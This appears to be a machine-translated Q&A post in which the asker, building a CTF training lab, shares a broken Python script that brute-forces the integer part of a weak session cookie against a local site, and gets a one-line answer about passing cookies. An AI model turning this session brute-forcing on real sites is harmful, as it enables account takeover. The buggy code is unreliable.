发布cookie数据并返回值

时间:2014-09-22 09:03:30

标签: python security cookies

我正在制作一个程序,尝试用python强制cookie值。 我正在开发一个面向IT安全学生的环境,就像CTF即服务一样。 我正在进行的任务是一个编程糟糕的登录站点,它创建一个cookie会话的方法很薄弱。 cookie由三个值组成,从服务器端返回的整数,用户名和哈希值。我已经设法获取了用户名和哈希值,但我需要强制 int值

我从来没有做任何饼干或试图暴力强迫他们。 我想我可以手动观察运行的程序并返回站点的标题,直到内容长度发生变化。

这是我目前的代码。

from requests import session
import Cookie
def createCook(salt):
  #known atrributes for the cookie
  salt = int('to_be_brute_forced')
  user = str('user')
  hash = str('hash_value')
  # create the cookies
  c = Cookie.SimpleCookie()
  #assing cookie name(session) and values (s,u,h)
  c['session'] = salt + user + hash
  c['session']['domain'] = '127.0.0.1:7777'
  c['session']['path'] = "/"
  c['session']['expires'] = 1*1*3*60*60
  print c 

def Main():
 print "Feed me Seymour: "
 salt = 0
 while (salt < 1000):
     print 'this is the current cookie: ', createCook(salt)
     cc = createCook(salt)
     salt = salt + 1
     try:
        with session() as s:
            s.post('http://127.0.0.1:7777/index.php', data=cc)
            request = s.get('http://127.0.0.1:7777/index.php')
            print request.headers
            print request.text
    except KeyboardInterrupt:
        exit(0)


if __name__ == '__main__':
 Main()

所以我的问题是:  1.我是否需要在发布之前保存cookie?  2.如何始终向salt添加+1并重新创建cookie?  3.如何将其发布到网站并知道找到了正确的网站?

1 个答案:

答案 0 :(得分:0)

在发布请求时,您必须使用cookie作为参数而不是数据

s.post(url, cookies=<cookiejar>)